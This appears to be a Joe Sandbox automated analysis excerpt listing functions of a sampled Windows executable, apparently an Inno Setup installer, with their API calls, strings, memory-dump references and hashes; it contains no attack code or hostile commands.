Instruction ID: c000e8b01db0500dd6874d208778bcf8efa3d9016d5589f965051e8255cd057a
Opcode Fuzzy Hash: 1d3cbda9518b2ce12e9cd07cc94b211126e19477f7e649d954dcb8d793c07e3f
Instruction Fuzzy Hash: 74115EB2604604AFC710EE6ECC84E8777ECEF49710B15886BB55ADB652C638FC418B79

Function 004239F4 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

EnumWindows.USER32(0042398C), ref: 00423A18
GetWindow.USER32(?,00000003), ref: 00423A2D
GetWindowLongA.USER32(?,000000EC), ref: 00423A3C
SetWindowPos.USER32(00000000,004240CC,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,0042411B,?,?,00423CE3), ref: 00423A72

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Window$EnumLongWindows
String ID:
API String ID: 4191631535-0
Opcode ID: 3f479a3e6eaf30b3cab108cb0ec1f6e4b33bd75e50ec1f2bc5912fb713e5924c
Instruction ID: 335c349655b4e4ce664b27c97d7ab575fba50449cb033fde685ace27ceb71c75
Opcode Fuzzy Hash: 3f479a3e6eaf30b3cab108cb0ec1f6e4b33bd75e50ec1f2bc5912fb713e5924c
Instruction Fuzzy Hash: 91115A70700610ABDB10EF68DC85F5A77E8EB08725F11026AF9A4AB2E2C37CDC40CB58

Function 00423038 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,?,?,00000000,?,00418F43,00000000,?,?,?,00000001), ref: 0042308E
EnumFontsA.GDI32(00000000,00000000,00422FD8,004105C0,00000000,?,?,00000000,?,00418F43,00000000,?,?,?,00000001), ref: 004230A1
73A24620.GDI32(00000000,0000005A,00000000,00000000,00422FD8,004105C0,00000000,?,?,00000000,?,00418F43,00000000), ref: 004230A9
73A1A480.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,00422FD8,004105C0,00000000,?,?,00000000,?,00418F43,00000000), ref: 004230B4

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: A24620A480A570EnumFonts
String ID:
API String ID: 2630238358-0
Opcode ID: 0130a543140e80f2b9f86b8e83a342749db33d5760528b3305e50fe7c2cc1c24
Instruction ID: 4d68480f6d607538855b0f171b38ffa839f5ce6e0578d669e72114bdc8101102
Opcode Fuzzy Hash: 0130a543140e80f2b9f86b8e83a342749db33d5760528b3305e50fe7c2cc1c24
Instruction Fuzzy Hash: 0601D2616053002AE700BF6A5C82B9B37649F00709F40027BF804AF2C7D6BE9805476E

Function 0045AA98 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00450194: SetEndOfFile.KERNEL32(?,?,0045AB76,00000000,0045AD01,?,00000000,00000002,00000002), ref: 0045019B

FlushFileBuffers.KERNEL32(?), ref: 0045ACCD

Strings

NumRecs range exceeded, xrefs: 0045ABCA
EndOffset range exceeded, xrefs: 0045AC01

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: File$BuffersFlush
String ID: EndOffset range exceeded$NumRecs range exceeded
API String ID: 3593489403-659731555
Opcode ID: a9cf851f2eaf95137e3288fbc8d387236cb4e639cfd326536c80b23121b82141
Instruction ID: c6fdafcf5e6ec5fbe1ee4fc1bc2965fc1f3208bb88431c07f9f54703bf840710
Opcode Fuzzy Hash: a9cf851f2eaf95137e3288fbc8d387236cb4e639cfd326536c80b23121b82141
Instruction Fuzzy Hash: D461C534A002948FDB21DF25C880AD9B7B1EF49305F0085EAED8D9B352D6B4AEC8CF55

Function 00493D30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00403344: GetModuleHandleA.KERNEL32(00000000,00493D3E), ref: 0040334B
Part of subcall function 00403344: GetCommandLineA.KERNEL32(00000000,00493D3E), ref: 00403356

Part of subcall function 00409AE8: 6F551CD0.COMCTL32(00493D4D), ref: 00409AE8

Part of subcall function 004108C4: GetCurrentThreadId.KERNEL32 ref: 00410912

Part of subcall function 00418FB0: GetVersion.KERNEL32(00493D61), ref: 00418FB0

Part of subcall function 0044F284: GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,00493D75), ref: 0044F2BF
Part of subcall function 0044F284: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044F2C5

Part of subcall function 0044F668: GetVersionExA.KERNEL32(00496788,00493D7A), ref: 0044F677

Part of subcall function 00451F18: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451FB1,?,?,?,?,00000000,?,00493D84), ref: 00451F38
Part of subcall function 00451F18: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00451F3E
Part of subcall function 00451F18: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451FB1,?,?,?,?,00000000,?,00493D84), ref: 00451F52
Part of subcall function 00451F18: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00451F58

Part of subcall function 00461004: LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,00493D98), ref: 00461013
Part of subcall function 00461004: GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 00461019

Part of subcall function 00468FF4: GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 00469009

Part of subcall function 0047467C: GetModuleHandleA.KERNEL32(kernel32.dll,?,00493DA2), ref: 00474682
Part of subcall function 0047467C: GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 0047468F
Part of subcall function 0047467C: GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 0047469F

Part of subcall function 00490D20: RegisterClipboardFormatA.USER32(QueryCancelAutoPlay), ref: 00490D39

SetErrorMode.KERNEL32(00000001,00000000,00493DEA), ref: 00493DBC

Part of subcall function 00493B38: GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,00493DC6,00000001,00000000,00493DEA), ref: 00493B42
Part of subcall function 00493B38: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00493B48

Part of subcall function 00424444: SendMessageA.USER32(?,0000B020,00000000,?), ref: 00424463

Part of subcall function 00424234: SetWindowTextA.USER32(?,00000000), ref: 0042424C

ShowWindow.USER32(?,00000005,00000000,00493DEA), ref: 00493E2D

Part of subcall function 0047D8B0: SetActiveWindow.USER32(?), ref: 0047D954

Strings

Setup, xrefs: 00493E13

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressProc$HandleModule$Window$Version$ActiveClipboardCommandCurrentErrorF551FormatLibraryLineLoadMessageModeRegisterSendShowTextThread
String ID: Setup
API String ID: 3124306719-3839654196
Opcode ID: faa87ef93f26e9fed29b8f1a5af7e334510bd2bc09c437b048ce12aaff02692f
Instruction ID: 622fc638603ffec5bdb68cbe127673071c4bf9e417d05ed6bfb537885f772263
Opcode Fuzzy Hash: faa87ef93f26e9fed29b8f1a5af7e334510bd2bc09c437b048ce12aaff02692f
Instruction Fuzzy Hash: E331E6312046409FD701BBB7EC1395D3BA8EB8A71DB92447FF804866A3DE3C5C548A2E

Function 0045274C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,0045283B,?,?,00000000,00496628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00452792
GetLastError.KERNEL32(00000000,00000000,?,00000000,0045283B,?,?,00000000,00496628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0045279B

Strings

.tmp, xrefs: 0045277B

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 1c28547b29fed571f31a6a12edf6bdbbb6f0286fe72defdcbf585ca2806f4d18
Instruction ID: 0fbc8e7b61ef488be3dc006a941ab7ed86dfc6126bd14ded5e16d32ffb1420c7
Opcode Fuzzy Hash: 1c28547b29fed571f31a6a12edf6bdbbb6f0286fe72defdcbf585ca2806f4d18
Instruction Fuzzy Hash: C0215675A002089BDB01EFA1C9829DEB7B8EF59305F50457BE801B7342D6789E05CAA5

Function 0041EE14 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0041EE63
73A25940.USER32(00000000,0041EDC4,00000000,00000000,0041EE80,?,00000000,0041EEB7,?,0042EA14,?,00000001), ref: 0041EE69

Strings

"lE, xrefs: 0041EEA6

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: A25940CurrentThread
String ID: "lE
API String ID: 2655091166-192338472
Opcode ID: b328251ae0892c8a3b7f185b32438ae157af80a37aa78e1151a8addd2e42d252
Instruction ID: 6dec67758a4febc774e22da3091525d30ea0c4d8bfc57ce8b44416be19a69247
Opcode Fuzzy Hash: b328251ae0892c8a3b7f185b32438ae157af80a37aa78e1151a8addd2e42d252
Instruction Fuzzy Hash: C3015B74A04704AFD701CFA6EC11956BBE8E789720B22887BE904D37A0EA385811DE18

Function 00477E98 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,0047811E,00000000,00478134,?,?,?,?,00000000), ref: 00477EFA

Strings

RegisteredOrganization, xrefs: 00477EE9
RegisteredOwner, xrefs: 00477ED7

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Close
String ID: RegisteredOrganization$RegisteredOwner
API String ID: 3535843008-1113070880
Opcode ID: 3b9aa2d80e5bb588d7add13eca2ad8da36b34b0339f58eee0767cb30d0f9156c
Instruction ID: fa4f23c8c0b6d3cc437a60a3394110702e60ad628927354c58f60cad5fa28099
Opcode Fuzzy Hash: 3b9aa2d80e5bb588d7add13eca2ad8da36b34b0339f58eee0767cb30d0f9156c
Instruction Fuzzy Hash: 8CF09030718244AFDB10EAA59D92BAA375AD781308FA080BBE5049B391D779AD02D75C

Function 004231AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F00), ref: 004231B9
LoadCursorA.USER32(00000000,00000000), ref: 004231E3

Strings

EI, xrefs: 004231C6

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CursorLoad
String ID: EI
API String ID: 3238433803-1715459816
Opcode ID: cf7d116e50ce189f5790faa080c989bb411d79830bfeb1cde74da96b9f6355ff
Instruction ID: e763212e35d88e91f52bf3e5ce882ef76e84b1945e438db40d164ba05c470673
Opcode Fuzzy Hash: cf7d116e50ce189f5790faa080c989bb411d79830bfeb1cde74da96b9f6355ff
Instruction Fuzzy Hash: 1DF0A7117001145BD620593E6CC1D3A72688F87736B61033BFE2AD72D1C62E2D51426D

Function 0046B160 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,?,E"G,0049715C,?,0046B477,?,00000000,0046B9CE,?,_is1), ref: 0046B183

Strings

E"G, xrefs: 0046B164
Inno Setup: Setup Version, xrefs: 0046B181

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Value
String ID: E"G$Inno Setup: Setup Version
API String ID: 3702945584-3103003659
Opcode ID: fe4bac22182e9b3690d628e5aab8f5fa60c8f4978fedd226071c0efb5d38f188
Instruction ID: 4d5e84264db937b37b97998ec3c417cbd25533f79302db5a87cce77b77850be7
Opcode Fuzzy Hash: fe4bac22182e9b3690d628e5aab8f5fa60c8f4978fedd226071c0efb5d38f188
Instruction Fuzzy Hash: 22E06D713012047FD710AA2A9C89F5BBBDCDF893A5F10403AB908DB392DA78ED4081A8

Function 00471448 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,0047167F), ref: 0047146D
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,0047167F), ref: 00471484

Part of subcall function 004521C4: GetLastError.KERNEL32(00000000,00452C35,00000005,00000000,00452C6A,?,?,00000000,00496628,00000004,00000000,00000000,00000000,?,00493575,00000000), ref: 004521C7

Strings

CreateFile, xrefs: 00471479

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast
String ID: CreateFile
API String ID: 2528220319-823142352
Opcode ID: 800bb0325985d34956c9da8e04eb100ff20cf6eeeb2dc0571312b1378ebf424d
Instruction ID: c104701e3ac4c72cb8451278cea4e269ad366b77bc799aad6b71a423408a45bc
Opcode Fuzzy Hash: 800bb0325985d34956c9da8e04eb100ff20cf6eeeb2dc0571312b1378ebf424d
Instruction Fuzzy Hash: 00E06D746443047BEA10E669DCC6F4A77889B04738F108152FA48AF3E2C5B9EC408668

Function 0046B1D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(?,NoModify,00000000,00000004,\qI,00000004,00000001,?,0046B838,?,?,00000000,0046B9CE,?,_is1,?), ref: 0046B1E3

Strings

NoModify, xrefs: 0046B1E1
\qI, xrefs: 0046B1D9, 0046B1DC

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Value
String ID: NoModify$\qI
API String ID: 3702945584-2584188330
Opcode ID: c3b01a61708714b50ccdeb908b300e988e8e75eb38ff40614f02e64a99329d3d
Instruction ID: 5eacf4f75227775215caf3d7335e589ae950959f2a2178ae4f8f9b9abb7c80c6
Opcode Fuzzy Hash: c3b01a61708714b50ccdeb908b300e988e8e75eb38ff40614f02e64a99329d3d
Instruction Fuzzy Hash: 90E01AB0600308BEEB04DA55CD4AF6F77ACDB48710F104059BA04DB281EA74AE40C6A8

Function 00468FF4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0042E1B4: SetErrorMode.KERNEL32(00008000), ref: 0042E1BE
Part of subcall function 0042E1B4: LoadLibraryA.KERNEL32(00000000,00000000,0042E208,?,00000000,0042E226,?,00008000), ref: 0042E1ED

GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 00469009

Strings

SHPathPrepareForWriteA, xrefs: 00468FF4
shell32.dll, xrefs: 00468FFE

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressErrorLibraryLoadModeProc
String ID: SHPathPrepareForWriteA$shell32.dll
API String ID: 2492108670-2683653824
Opcode ID: 97c0c09dc75a3a684baa6722c430497bd25667040c20172551983560de92535b
Instruction ID: 3b95b4fcd0a43e84c2e5215cc6223a96c0a9d59207468fff4f15a35feb75c840
Opcode Fuzzy Hash: 97c0c09dc75a3a684baa6722c430497bd25667040c20172551983560de92535b
Instruction Fuzzy Hash: 91B092F0642641A6CF00ABB2580271631089750708F14C0BB7284AF296FABE88049B2E

Function 0047CF64 Relevance: 4.6, APIs: 3, Instructions: 98windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(00000000,00000000,00000000,0047D09C), ref: 0047D034
AppendMenuA.USER32(00000000,00000800,00000000,00000000), ref: 0047D045
AppendMenuA.USER32(00000000,00000000,0000270F,00000000), ref: 0047D05D

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Menu$Append$System
String ID:
API String ID: 1489644407-0
Opcode ID: a4b08483dabfab2733e9bc053085c0a3c7fafd496603550401735eefed55e13c
Instruction ID: c49c8260b0df57bd971d15bcc62f6f20f4436556b6efa56ccebc61c518663fc6
Opcode Fuzzy Hash: a4b08483dabfab2733e9bc053085c0a3c7fafd496603550401735eefed55e13c
Instruction Fuzzy Hash: 9831D030B543846AD720FB768C82BAA3AA59F1531CF50547FF904AB2D3CA7D9809C69D

Function 0044AECC Relevance: 4.6, APIs: 3, Instructions: 74COMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,?,00000000,00000000,0044AFCD,?,0047D8CB,?,?), ref: 0044AF41
SelectObject.GDI32(?,00000000), ref: 0044AF64
73A1A480.USER32(00000000,?,0044AFA4,00000000,0044AF9D,?,00000000,?,00000000,00000000,0044AFCD,?,0047D8CB,?,?), ref: 0044AF97

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: A480A570ObjectSelect
String ID:
API String ID: 1230475511-0
Opcode ID: e0573b52b8d0cf653cb97956980ba2b98f630935dda97703e8dcaa725f5ac4bc
Instruction ID: d869ba56a2ec6f0d5c870d586e3948e50cfd74acb1facaba93160b1832a15f46
Opcode Fuzzy Hash: e0573b52b8d0cf653cb97956980ba2b98f630935dda97703e8dcaa725f5ac4bc
Instruction Fuzzy Hash: 1B21A4B0A44248AFEB01DFA5C845B9EBBB9EB48304F51807AF500A7281D73C9954CB2A

Function 0044AC00 Relevance: 4.6, APIs: 3, Instructions: 72COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0044AC8C,?,0047D8CB,?,?), ref: 0044AC5E
DrawTextW.USER32(?,?,00000000,?,?), ref: 0044AC71
DrawTextA.USER32(?,00000000,00000000,?,?), ref: 0044ACA5

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: DrawText$ByteCharMultiWide
String ID:
API String ID: 65125430-0
Opcode ID: bcdfe699981e179dce2f2d8ed31dbe01375d55539489093dbbbd111fc7924bee
Instruction ID: 685493112d12ba358f0882a71248ae5c31f802529d156c39c17c166dd35f8f85
Opcode Fuzzy Hash: bcdfe699981e179dce2f2d8ed31dbe01375d55539489093dbbbd111fc7924bee
Instruction Fuzzy Hash: FB11E6B27046047FE700DAAA8CC1E6FB7ECEB88720F10413AF504E7280C6399E018669

Function 0042436C Relevance: 4.6, APIs: 3, Instructions: 59windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00424382
TranslateMessage.USER32(?), ref: 004243FF
DispatchMessageA.USER32(?), ref: 00424409

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: 4c72fe453077d3d5441811771d3c73f57da1beb0f02e586e781598996b195a0c
Instruction ID: aef1b0206ccdbb2aa8587e86ea6dacd49c82d9c27d6d10fa8c02d352bba97142
Opcode Fuzzy Hash: 4c72fe453077d3d5441811771d3c73f57da1beb0f02e586e781598996b195a0c
Instruction Fuzzy Hash: 6F11543030432056DA20E665A94179B73D4DFC1B44F80886EF9DD97382D77D9D4987AA

Function 004165B4 Relevance: 4.5, APIs: 3, Instructions: 39COMMON

Download Yara Rule

APIs

SetPropA.USER32(00000000,00000000), ref: 004165DA
SetPropA.USER32(00000000,00000000), ref: 004165EF
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,00000000,00000000,?,00000000,00000000), ref: 00416616

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Prop$Window
String ID:
API String ID: 3363284559-0
Opcode ID: d324db774ac04714c3ad6eb6c0384bcb009cb4e1a08786751ec3748c0ad2eb0f
Instruction ID: 49560f5f00ee2c9135054c0b38937f4b9f373f0e35015079742173c5fde362c9
Opcode Fuzzy Hash: d324db774ac04714c3ad6eb6c0384bcb009cb4e1a08786751ec3748c0ad2eb0f
